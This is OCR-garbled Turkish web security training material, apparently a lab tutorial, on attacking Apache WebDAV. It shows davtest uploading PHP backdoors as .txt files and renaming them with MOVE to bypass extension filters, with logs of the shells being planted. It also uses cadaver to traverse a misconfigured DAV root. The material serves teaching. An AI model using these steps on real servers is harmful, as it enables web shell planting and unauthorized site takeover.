@ davtest 6IxFLDuff.cgi 2018-03-08 14:11 66

davtest 6IxFLDuff.htm] 2018-03-08 14:11 26

[?] davtest_6IxFLDuff jhtml 2018-03-08 14:11 37 Matematiksel islem
[3) davtest 6IxFLDuff jsp 2018-03-08 14:11 37 Taslyan Test Betik
[3] davtes_6IxFLDuff.php 2018-03-08 14:11 24 Dosyalari

davtest 6IxFLDuff.pl 2018-03-08 14:11 66

davtest 6IxFLDuff.shtml 2018-03-08 14:11 178

davtest 6IxFLDuff. txt 2018-03-08 14:11 19

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

=> DavTest Tool'u icinde Yiikii Olan Backdoor'lari Txt Olarak Upload'lama ve Sonra Calisabilir Hale
Getirme

Davtest tool'u ile hedef web sunucusuna WebDav servisi lizerinden dosya upload'larken giivenlik
mekanizmalarina takilabiliriz. Ornegin giivenlik mekanizmasi php, asp, aspx, jsp gibi script uzantil
dosyalarin upload'lanmasini engelleyebilir. Fakat 6rnegin txt uzantili dosyalara gecit verebilir. Bu
durumda -move parametresi ile davtest tool'u betik dosyalarini txt olarak upload'lar, sonra hedef
sisteme yerlesen txt dosyalarini move komutu ile ilgili uzantiya dénistirebilir. Boylece hedef sisteme
¢ahsabilir betik dosyalari upload'layabiliriz. Asagida bunun bir uygulamasi gosterilmektedir.

OSCP Kali Terminal:

> davtest -move -sendbd auto -url http://172.16.3.72/webdav
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Output:

3k 3k 3k 3k 3k 3k 3k 3k >k 3k 3k 3k 3k >k 5k 3k >k 3k 3k 5k 3k >k 5k 3k 3%k 3k %k %k 3k >k 5k 3k >k 3k >k 5k 3k %k 3k 3k 5k 3k >k 5k %k % %k %k 3% %k %k %k k *kk k

Testing DAV connection
OPEN SUCCEED: http://172.16.3.72/webdav

3k 3k ok ok 3k ok ok 3k ok k %k ok k %k ok ok ok ok ok ok ok ok ok ok %k ok ok 3k 5k %k %k sk %k %k sk %k sk sk %k sk sk sk sk sk sk sk sk k sk k sk sk k sk ok k

NOTE Random string for this session: wu8KmbMfelWoV

3k 3k 3k sk 3k sk 3k 3k 3k 3k 5k 3k >k 3k %k 3k 3k >k 3k >k 3k 3k >k 5k 3k 5k 3k 3k 3k 3k >k 3k 3k 3k 3k >k 3k %k >k 3k 3k 5k 3k %k k 3k 5k 3k >k 5k %k %k %k %k k k

Creating directory

MKCOL SUCCEED: Created http://172.16.3.72/webdav/DavTestDir_MfelWoV

3k %k ok ok 3k ok ok 3k ok 5k 5k ok k %k ok ok ok ok ok ok ok ok ok ok %k ok ok sk sk ok %k sk ok %k sk sk sk sk sk sk sk sk sk sk sk sk sk k sk sk sk sk k sk k >k

Sending test files (MOVE method)

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_txt.txt
MOVE  txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.txt

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_jhtml.txt
MOVE  jhtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.jhtml
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_cgi.txt
MOVE  cgi SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.cgi

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_cfm.txt
MOVE  cfm SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.cfm
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_jsp.txt
MOVE  jsp SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.jsp

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_html.txt
MOVE  html SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.html
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_pl.txt
MOVE  pl SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.pl

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_shtml.txt
MOVE  shtml  SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.shtml
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_aspx.txt
MOVE  aspx SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.aspx
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_php.txt
MOVE  php SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.php
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV_asp.txt
MOVE asp SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.asp

3k 3k 3K 3K 3K 3k 3K K 3k %k 3k 3k %k % 3k %k % 3k % 3 3k % 3% %k % 5k %k %k %k %k 3% % % % % %k %k % % % % 3% % % 5% % % 5% % % % % %k *k *k ¥

Checking for test file execution

EXEC txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV txt
EXEC  jhtml  FAIL

EXEC  cgi FAIL

EXEC cfm FAIL

EXEC  jsp FAIL

EXEC html SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.html
EXEC pl FAIL

EXEC shtml FAIL

EXEC aspx FAIL

EXEC php SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.php
EXEC asp FAIL

3k 3k 3k 3k 3k 3k 3k 3k >k 3k 3k 3k 3k 3k 5k 3k 3k 3k 3k 5k %k 3k 5k %k 3k %k >k >k %k >k 5k 3k 5k 3k 3k 5k %k %k %k 3k 5k %k >k 5k %k >k %k %k 3k %k %k %k k kkk

Sending backdoors

** ERROR: Unable to find a backdoor for txt **

** ERROR: Unable to find a backdoor for html **

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV php_backdoor_php.txt

MOVE Shell: php SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/php_backdoor.php
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_elWoV/wu8KmbMfelWoVphp_cmd_php.txt
MOVE Shell: php SUCCEED: http://172.16.3.72/webdav/DavTestDir_wu8KmbMfelWoV/php_cmd.php

3k 3k 3k 3k 3k 3k 3k 3k >k 3k >k 3k 3k >k 3k 3k %k 3k >k 5k 3k >k 5k 3k 3%k 3k >k >k 3k >k 5k 3k >k 3k >k 5k 3k %k 3k >k 5k 3k >k 5k %k %k %k %k 3% %k %k %k k *kk k

/usr/bin/davtest Summary:
Created: http://172.16.3.72/webdav/DavTestDir_wu8KmbMfelWoV
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MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:
MOVE/PUT File:

http://172.16.3.72/webdav/DavTestDir_wu8KmbMfelWoV.txt
http://172.16.3.72/webdav/DavTestDir_wu8KmbMfelWoV.jhtml
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV cgi
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.cfm
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.jsp
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.html
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.pl
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.shtml
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.aspx
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.php
http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.asp

Executes: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.txt
Executes: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.html
Executes: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV.php
MOVE/PUT Shell: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV/php_backdoor.php
MOVE/PUT Shell: http://172.16.3.72/webdav/DavTestDir_elWoV/davtest_elWoV/php_cmd.php

Ubuntu 14.04 LTS WebDav Dizini:

[ Index of fwebdav x

Index of fwebdav/DavTestDir_VUBcAIiixX - Chromium
& Ubuntu Pastebin

Ciktidan gorilebilecegi Gzere oncelikle karsi sistemde klasor olusturulmustur ve icine matematiksel
islem tasiyan tiim test betik dosyalari txt formatinda uploadlanmistir. Daha sonra yine sirasiyla MOVE
komutu ile txt uzantili dosyalar uygun betik uzantisina déndstirilmaslerdir. Ardindan matematiksel
islemi hesaplayabilen betik dosyalari tespit edilmistir ve hedef sunucuda desteklenen betik dili
ogrenilmistir. Son olarak desteklenen betik diline uygun davtest tool'unda yer alan backdoor
dosyalari yine txt formatinda gonderilip ardindan uygun betik uzantisina dondstirilerek sunucuya
yerlestirilmistir.

e

& | (O localhosk hd

Index of /'webdav/DavTestDir_VU8cAiixX

4 Parent Directory

Name Last modified Size Description

@ davtest

VU8cAiixX.asp

@ davtest

VUBcAlIxX. aspx

@ davtest

VUBcAlIxX.cfm

[#] davtest

VUBcAiixX.cgi

VU8cAiix>X . html

2018-03-08 14:38
2018-03-08 14:38
2018-03-08 14:38
2018-03-08 14:38
2018-03-08 14:38

44
44
42

66
26

txt olarak upload'lanan

davtest

[#] davtest VUBcAiixX.jhtml 2018-03-08 14:38 37
@ davtest VUBcAiixX.jsp
@ davtest VUBcAiixX.php

ve sonra ilgili uzantiya

2018-03-08 14:38 37
2018-03-08 14:38 24

dosyalar

davtest VU8cAiixX.pl

2018-032-08 14:38 66

davtest VUBcAiixX.shiml 2018-03-08 14:38 178

davtest_ VUSBcAIX.txt

2018-03-08 14:38 19

@ php_backdoor.php
[#] php_cmd.php

2018-03-08 14:38 328 doniistiiriilen backdoor

txt olarak upload'lanan
2018-03-08 14:38 3.1K } sonra ilgili uzantiya
dosyalar

Apache/2.4.7 (Ubuntu) Server at localhast Port 80

oniistiiriilen test betik

ve
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Uyari

Eger WebDav servisinde digest authentication aktifse erisim kullanict adi ve sifre ile
gercekleseceginden davtest tool'unu auth parametresi ile kullanmamiz gerekmektedir. Hedef apache
sunucusundaki WebDav servisinde digest authentication aktifken hedef webdav servisini davtest ile
denetleyelim.

OSCP Kali Terminal: [Once auth parametresiz deneme]
> davtest -url http://172.16.3.72/webdav/

Not: IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu
sirasinda belirlenmis WebDav servisinin kok dizinidir.
Not2 : Hedef IP adresinin localhost'una erisim icin Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.

Output:

3k 3k >k >k 3k 5k 3k 3k >k >k 5k 3k 3k k %k >k 5k 3k 3k %k >k 3k 3k 3k >k %k >k 3%k 3k 3k >k %k >k 3k 3k 3k >k %k >k 3k 3k %k %k %k 5%k 3k %k %k %k %k %k %k %k k k¥

Testing DAV connection

OPEN FAIL: http://172.16.3.72/webdav Unauthorized. Digest realm="webdav",
nonce="Ea/k5PhmBQA=b3c4793da291c348d1e2699e10e9b606536344a8",
algorithm=MD5, qop="auth"

Gorildigu Gzere cikti hedef WebDav servisinin yetkilendirme istedigini soylliyor. Simdi auth
parametresi ile hedef WebDav servisine erismeye ve test etmeye calisalim:

OSCP Kali Terminal: [auth parametreli deneme]
> davtest -auth alex:alex -url http://172.16.3.72/webdav/

Not: IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu
sirasinda belirlenmis WebDav servisinin kok dizinidir.
Not2 : Hedef IP adresinin localhost'una erisim i¢cin Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.

Not3 : alex:alex'deki birincisi kullanici adidir, ikincisi sifredir.

Output:

3k 3k 3k 3k 3k 3k 3k 3k 3k ok ok 3k 3k ok 3k 3k ok 3k 3k 3k 3k 3k 3k ok 3k 3k 3k 3k 3k 3k 3k 3k 3k ok 3k 3k ok 3k 3k 3k ok 3k 3k 3k 3k 3k %k 3k 3k %k %k 3k Kk k ok

Testing DAV connection
OPEN SUCCEED: http://172.16.3.72/webdav

3k 3k 3k 3k 3k 3k 3k 3k 3k ok 3k 3k 3k ok 3k 3k ok 3k 3k 3k 3k 3k ok 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k ok 3k 3k 3k ok 3k 3k ok 3k 3k ok %k 3k %k kk ok

NOTE Random string for this session: XLWMPQOx

3k 3k 3k 3k 3k 3k 3k 3k ok ok 3k sk ok 3k sk ok sk ok ok 3k ok ok 5k ok ok 3k ok ok 3k ok 3k 3k ok ok %k ok 5k %k ok 5k ok ok ok %k ok ok %k %k ok %k ok ok k ok ok ok
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Creating directory

MKCOL

SUCCEED: Created http://172.16.3.72/webdav/DavTestDir

3k 3k 3k 3k 3k 3k 3k 3k 3k ok 3k 3k 3k 3k 3k 3k ok 3k Sk 3k 3k Sk ok 3k 3k Sk 3k 3k Sk 3k 3k Sk 3k 3k 3k 3k 3k 3k 3k ok 3k 3k 3k 3k 3k 3k ok 3k 3k ok ok ok ok kk ok

Sending test files

PUT
PUT
PUT
PUT
PUT
PUT
PUT
PUT
PUT
PUT
PUT

aspx SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.aspx

html SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.html
pl SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOX.pl
cgi SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOXx.cgi
jsp SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOX.jsp
asp SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.asp
txt SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOXx.txt
shtml SUCCEED: http://172.16.3.72/webdav/DavTestDi/davtest XLWMPQOx.shtml
cfm SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOx.cfm
jhtml SUCCEED: http://172.16.3.72/webdav/DavTestDi/davtest XLWMPQOXx.jhtml
php SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.php

3k 3k 3k ok 3k 3k 3k 3k ok ok 3k ok ok 3k 3k ok 3k 3k ok 5k ok ok 5k ok 5k %k ok 5k 3k ok 3k 3k ok 5k %k ok 5k %k ok 5k %k %k 5k %k %k >k %k %k >k %k ok ok k kkk

Checking for test file execution

EXEC
EXEC
EXEC
EXEC
EXEC
EXEC
EXEC
EXEC
EXEC
EXEC
EXEC

aspx FAIL
html SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOx.html
pl FAIL

cgi FAIL

jsp FAIL

asp FAIL

txt SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest XLWMPQOXx.txt
shtml FAIL

cfm FAIL

jhtml FAIL

php SUCCEED: http://172.16.3.72/webdav/DavTestDir/davtest_ XLWMPQOXx.php

3k 3k 3k 3k 3k 3k 3k 3k sk ok 3k 3k ok 3k 3k sk 3k 3k 3k 3k 3k sk ok 3k 3k sk 3k 3k Sk 3k 3k sk 3k 3k 3k sk 3k 3k sk ok 3k 3k 3k 3k 3k ok ok 3k ok ok ok ok ok kkok

/usr/bin/davtest Summary:

Created:
PUT File:
: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOXx.html
PUT File:
PUT File:
PUT File:
PUT File: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest XLWMPQOXx.asp
PUT File:
PUT File:
PUT File:
: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOx.jhtml
PUT File:

PUT File

PUT File

http://172.16.3.72/webdav/DavTestDir_ XLWMPQOx
http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOx.aspx

http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_XLWMPQOx.pl
http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest XLWMPQOx.cgi
http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest XLWMPQOXx.jsp

http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_XLWMPQOx.txt
http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest XLWMPQOx.shtml|
http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_ XLWMPQOx.cfm

http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest XLWMPQOx.php

Executes: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest XLWMPQOx.html
Executes: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_XLWMPQOx.txt
Executes: http://172.16.3.72/webdav/DavTestDir_XLWMPQOx/davtest_XLWMPQOx.php

Goriuldigu Uzere hedef WebDav servisine digest authentication methoduyla eristik ve testimizi

yapabildik.

Not: Kali (Eski) 'deki davtest bug'li. -auth ¢alismiyor ve unauthorized hatasi veriyor. Halbuki yukaridaki
davtest kullanimi OSCP Kali 'de denendiginde davtest sorunsuz ¢alisiyor. O ylizden davtest'i OSCP

Kali'de kullan.
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Ekstra (( Cadaver istemcisi ile WebDav Servisine Erisim ))
[+] Birebir denenmistir ve basariyla uygulanmistir.
Gereksinimler

- OSCP Kali [Cadaver istemcisi (tool'u)]
- Ubunu 14.04 LTS [Hedef Apache ve WebDav Servisi]

Davtest tool'unu hedef web sunucusundaki dosyalara erisim, sunucuya dosya upload'lama,
sunucudaki dosyalari degistirme gibi islemleri yapmak icin kullanmistik. Bu islemler hedef web
sunucusundaki WebDav servisinin yetenekleri dogrutusunda yapilabilmekteydi. Simdi bir WebDav
istemcisi olan cadaver ile bu islemleri daha temel diizeyde, yani manuel olarak yapalim. Yani bir
dosya upload'layacaksak PUT komutunu kullanalim, bir dosya uzantisini degistireceksek MOVE
komutunu kullanalim, bir dosya sileceksek DELETE komutunu kullanahm, vs...

OSCP Kali Terminal:
> cadaver http://172.16.3.72/webdav
Not: IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu
sirasinda belirlenmis WebDav servisinin kok dizinidir.
Not2 : Hedef IP adresinin localhost'una erisim icin Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.
dav:/webdav/>
Goraldigu tzere cadaver komutu sonrasi hedef WebDav servisine baglanti kurulmus ve WebDav
servisi komut satiri ekrana gelmistir. Kullanilabilecek WebDav servisi komutlarini gérmek icin help
komutunu kullanalim.

dav:/webdav/> help

Available commands:

Is cd pwd put get mget mput
edit less mkcol cat delete rmcol copy
move lock unlock discover steal showlocks  version
checkin checkout uncheckout history label propnames chexec
propget propdel propset search set open close
echo quit unset Icd Ils Ipwd logout
help describe about

Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
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Simdi cadaver istemcisi ile hedef apache sunucusuna (hedef WebDav servisine) WebDav komutlarini
deneyelim..
// Yerel sistemdeki /root/deneme.txt dosyasi uzak sisteme deneme.txt olarak upload'lanir.
dav:/webdav/ > put /root/deneme.txt deneme.txt [Dosya Upload'lama]

Uploading /root/deneme.txt to '/webdav/deneme.txt’;
Progress: [ >] 100.0% of 10 bytes succeeded.

dav:/webdav/ > Is [Dosya Listeleme]
Listing collection '/webdav': succeeded.

deneme.txt 10 Mar 8 15:38

dav:/webdav/ > move deneme.txt deneme.php [Dosya
isimlendirme]

Moving '/webdav/deneme.txt' to '/webdav/deneme.php': succeeded.
dav:/webdav/ > Is
deneme.php 10 Mar 8 15:38
dav:/webdav/ > pwd [Bulunulan Dizin]
Current collection is 'http://172.16.3.72/webdav/"' .

dav:/webdav/ > mkcol deneme [Klasor Olusturmal
Creating 'deneme’ : succeeded.

dav:/webdav/ > cd deneme [Dizin Degistirme]
dav:/webdav/deneme/ > pwd
Current collection is 'http://172.16.3.72/webdav/deneme’.

dav:/webdav/deneme/ > cd..
dav:/webdav/ > rmcol deneme [Klasor Silme]

Deleting collection 'deneme': succeeded.

dav:/webdav/ > cat deneme.php

TUBITAK — BILGEM - Siber Guvenlik Enstitus 41



TASNIF DISI Web Giivenligi Ile Tanisma (Egt. Materyl.)

denemel23
// Uzak sistemdeki deneme.php yerel sistemdeki /root/Desktop'a deneme.php ismiyle iner.
dav:/webdav/ > get deneme.php /root/Desktop/deneme.php [Dosya indirme]

Downloading '/webdav/deneme.php' to '/root/Desktop/deneme.php':
Progress: [ = ==>] 100.0% of 10 bytes succeeded.

dav:/webdav/ > mkcol deneme
dav:/webdav/ > copy deneme.php deneme/ [Dosya Kopyalama]

Copying '/webdav/deneme.php' to '/webdav/deneme/deneme.php': succeeded.
dav:/webdav/ > cd deneme/
dav:/webdav/deneme/ > Is
Listing collection: '/webdav/deneme': succeeded.
deneme.php 10 Mar 8 15:58

Eger hedef sistemdeki WebDav dizini Ustline gikarak sistemin derinliklerine gitmek istersek mevcut
durumda hatayla karsilasiriz.

dav:/webdav/deneme/ > cd ..
dav:/webdav/ > cd ..

Could not access / (not WebDAV-enabled?):
405 Method Not Allowed

dav:/webdav/ >
Eger hedef web sunucusu WebDav servisini yapilandirirken yanhs bir ayar yaparsa Ust dizine ¢lkma

sansimiz vardir. Ornegin apache'ye WebDav kurulumu sirasinda 000-default.conf konfigurasyon
dosyasinda su yapilandirma ayarlari yapilmisti.

# Apache sunucundaki 000-default.conf konfigurasyon dosyasi agilir.
nano /etc/apache2/sites-available/000-default.conf

# ilk satira asagidaki ifade girilir.
DavLockDB /var/www/DavLock

# Ardindan <VirtualHost> tag'lari arasina ise asagidaki ifadeler girilir.
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Alias /webdav /var/www/webdav

<Directory /var/www/webdav>
DAV On

</Directory>

Eger bu yapilandirma ayarlari yerine su yapilirsa

# ilk satira asagidaki ifade girilir.
DavLockDB /var/www/DavLock

# Ardindan <VirtualHost> tag'lari arasina ise asagidaki ifadeler girilir.
Alias /webdav /var/www/webdav
<Directory /var/www>
DAV On
</Directory>
bu yanlis yapilandirmadan dolayi Ust dizine cikilabilecektir.

Ubuntu 14.04 LTS Terminal:

> sudo service apache2 restart

OSCP Kali Terminal:

dav:/webdav/ > cd ..
dav:/ > Is

Listing collection */': succeeded.

Coll: AJAX 0 Mar 30 2015

Coll: CSS 0 Jun 12 2015

Coll: DOM XSS Uygulamasi 0 Feb 13 17:25
Coll: HTML 0 Jan11 2014

Coll: JAVASCRIPT 0 Jun 29 2015
Coll: JOIN_SQL 0 Jan 29 2015

Coll: JQUERY 0 Jun 14 2015

Coll: PHP 0 Jun19 2015

Coll: Phishing by Navigating Browser Tabs Uygulamasi 0 Feb 13 17:25
Coll: Second Order Sql Injection Uygulamasi 0 Feb1317:25

Coll: Web Services Dersi 0 Dec 5 2015
Coll: WebGoat-5.2 0 Jul 12 2008
Coll: WebGoat-5.4 0 Apr27 2012
Coll: XML 0 Mar 30 2015

Coll: dropdownmenu 0 Nov 24 2014
Coll: drupdownmenu2 0 Nov 24 2014
Coll: dvwa 0 Oct 5 2015

Coll: dvws 0 Feb 26 2016

Coll: hollanda 0 Aug 9 2015
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TASNIF

Coll: html 0 Feb 14 15:18

Coll: login_page 0 Nov 30 2014

Coll: mutillidae 0 Jul 22 2015

Coll: referans 0 Jan17 2014

Coll: saldirganinSitesi 0 Jan 22 2016

Coll: slider 0 May 8 2016

Coll: slider2 0 May 8 2016

Coll: specialTopicsDersi 0 May 20 20165

Coll: uploadProcess 0 Jul 23 2015

Coll: webdav 0 Mar 8 15:58

Coll: zendframework 0 Dec 7 2014
*DavLock 12288 Mar 7 13:01
*aramabutonu.html 1217 Apr 20 2014
*aramabutonu2.html 1784 Jul 17 2014
*deneme.html| 364 May 18 2015
*file_processing.txt 6 Jan 23 2014
*guzelBirTabloYapisi.html 1059 Aug 22 2014
*info.php 23 Sep 3 2014
*isiklikutu.html 260 Sep 12 2014
*iyiBirMenu.html 981 Aug22 2014
*iyiBirMenu2.html 2145 Sep 21 2014
*menuDenemesi.html 2092 Aug 10 2014
*rename2.txt 0 Jan 27 2014
*sifirdan acilir meni denemesi.html 1657 Mar 26 2015
*suleyman.html 7569 May 16 2017
*test.php 0 Jan 23 2014
*turkce.html 9 Jan 27 2014
*wget.php 372 May 23 2016

dav:/>

Yapilandirma ayari geregi WebDav moduili (servisi) kapsami /var/www/webdav dizini ve alt dizinleri
yerine /var/www dizini ve alt dizinleri yapiimistir. Bu nedenle hedef web sitesi elimize gegmistir.

Uyari

Hedef WebDav servisi eger digest authentication kullaniyorsa cadaver istemcisi ile hedef WebDav

servisine baglanmaya calistigimizda kullanici adi ve sifre sorulacaktir.

> cadaver http://172.16.3.72/webdav

Authentication required for webdav on server 172.16.3.72
Username: alex

Password:

dav:/web/dav/ >

// alex girilir.
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Kullanici adi ve sifreyi elle manuel girerek hedef WebDav servisine yukaridaki gibi erisebiliriz.

Ekstra 2 ((( File Browser ile WebDav Servisine Erisim ))

[+] Birebir denenmistir ve basariyla Ubuntu 14.04 LTS makinasinda ve Windows 7 Home Premium
sanal makinasinda uygulanmistir.

Hedef Apache sunucudaki WebDav dizinine erisim igin isletim sistemlerinin Dosya Browser'larindan

faydalanabiliriz. Ornegin Ubuntu'dan hedef apache sunucusundaki WebDav dizisinine erisim icin
Ubuntu Dosya Browser'inin Connect to Server segenegini kullanalim.

How To Configure WebDAV Access with Apache on Ubuntu 14.04 |

5 webdav servicerec X Web UygulamaSiz: x ¥ J§

@ DigitalOcean, LLC [US] | https;//www.digitaloce:

b

=

Linux (Ubuntu)

We are using Ubuntu
Jser Connect to Server of

........

0 :ﬂ:ﬂ m Q O 6‘ Ia[i ol
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Places

© Recent 2

L
|
3

arachni-1.5.1-0.5.12 crunch-3.4 Desktop Documents
[ Desktop
[ bocuments - 2 2 2
< Downloads hashcat-2.00 hplip-3.17.7 hydra-8.1
dd Music
[ Pictures 2 2 2 2
H videos john-1.8.0 medusa-2.2 Music netstress-3.0.7
il Trash
Devices ﬂ E ﬂ 3
@ 170GBVolume = Pictures Public Templates Videos
[ 524 MB volume Log <1b0€
@ computer et it ) =
Network VirtualBox VMs 2018-03-09-13-32- deneme.txt egitim-sge.htm

12.050-VirtualBox-
@2 Browse Network PEFPS D
B connect to Server Tk
12345
Connect to a network server address enesh
Examples rockyou.txt

“Downloads” selected (containing 8 items)

Connect to Server secenegine tiklanildiginda gelen ekrana WebDAV servisine sahip hedef web
sunucusunun ip'si ve webdav servisi kok dizini asagidaki gibi dav:// ile beraber girilir.

Places -
© Recent -j
A Home 3 Documents
& Desktop Connect to Server
[ Documents Server Address 2
+ Downloads dav://172.16.3.72/webday| a hydra-8.1
dd Music
B3 Pictures a
H videos ety el netstress-3.0.7
@ Trash Netwolk network:///
Devices webdf§ dav://172.16.3.72/webdav j
[ 170GBVolume 4 & Videos
[ 524 MB Volume <1008
[® computer i
Network egitim-sge.htm
T
SIBiNG et Browse Cancel Connect
B connect to Server = = S | i —
;Msh
Examples rockyou.txt

“Downloads"” selected (containing 8 items)

Connect butonuna basiimasiyla hedef WebDav dizini yerel sistemimize mount edilir.
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webdav

172.16.3.72 (dav) webdav

Places

© Recent 2 2 s

A Home DavTestDir_ deneme deneme.php
™ Desktop XLWMPQOX
[ Documents
< Downloads
dd Music
BB Pictures
H videos
{@ Trash
Devices
[@170GBVolume & Hedef WebDav Dizin icerigi
[® 524 MB Volume
[® computer

Network

oM Browse Network
bR 172.16.3.72 a < Hedef Web Sunucusu IP'si

B connect to Server

Bu ekranda yapilan her dosya olusturma, silme, vs.. islemler hedef web sunucusunun (apache'nin)
WebDav dizininde de meydana gelir.
Uyari

Eger hedef web sunucusunun WebDav servisi Digest authentication kullaniyorsa Connect to Server
secenegi ile hedef WebDav servisine baglanacagimiz zaman kullanici adi ve sifre sorulacaktir.
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Places
© Recent .j
1 Home Documents
i Desktop Connect to Server
[ Documents Server Address J
¥ Downloads dav://172.16.3.72/webday a hydra-8.1
dd Music
[ Pictures ' ‘
Hvideos L netstress-3.0.7
{@ Trash Network network:///
Devices webdav dav://172.16.3.72/webdav j
[ 170GBVolume =& Videos
[® 524 MB Volume <1006
[® computer atnt
Network egitim-sge.htm
=P Browse Network Browse Cancel Connect
B connect to Server - —— == ==
-| lenesh_
Examples rockyou.txt

Places ~
O Recent el - o - )
A Home arachni-1.5.1-0.5.12 crunch-3.4 Desktop Documents
[ Desktop = — . -
D Documents o ] l
¥ Downloads o (5 Enter password for webdav -7 hydra-8.1
dd Music e =
B3 Pictures © 7 username | alex J

Videos jt netstress-3.0.7

E 4 Password | eeeq
@ Trash

Devices . j
S

Forget password immediately .
{Z0SEroums © Remember password until you logout Vicaos

»

[® 524 MB Volume

") Remember forever s
[® computer Shead
Virt xt egitim-sge.htm
Network cancel Connect = 9
22 Browse Network
B Connect to Server - b
a 12345
12345
lenesh
Examples rockyou.txt

Kullanici adi ve sifre bilgilerini girerek hedef sistemdeki webdav dizini yerel sistemimize mount
edebiliriz.
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webdav

172.16.3.72 (dav) webdav

Places

© Recent : : .

A Home DavTestDir_ deneme deneme.php
i Desktop XLWMPQOx

) Documents

< Downloads

dd Music

[ Pictures

H videos

{0 Trash

Devices

»

[ 170 GB volume
[ 524 MB Volume
|§| Computer

Hedef WebDav Dizin igerigi

Network

@2 Browse Network
& 172.16.3.72 = < Hedef Web Sunucusu IP'si

B connect to Server

Ornegin Windows sistemlerde hedef apache sunucusundaki WebDav dizinine erisim icin Dosya
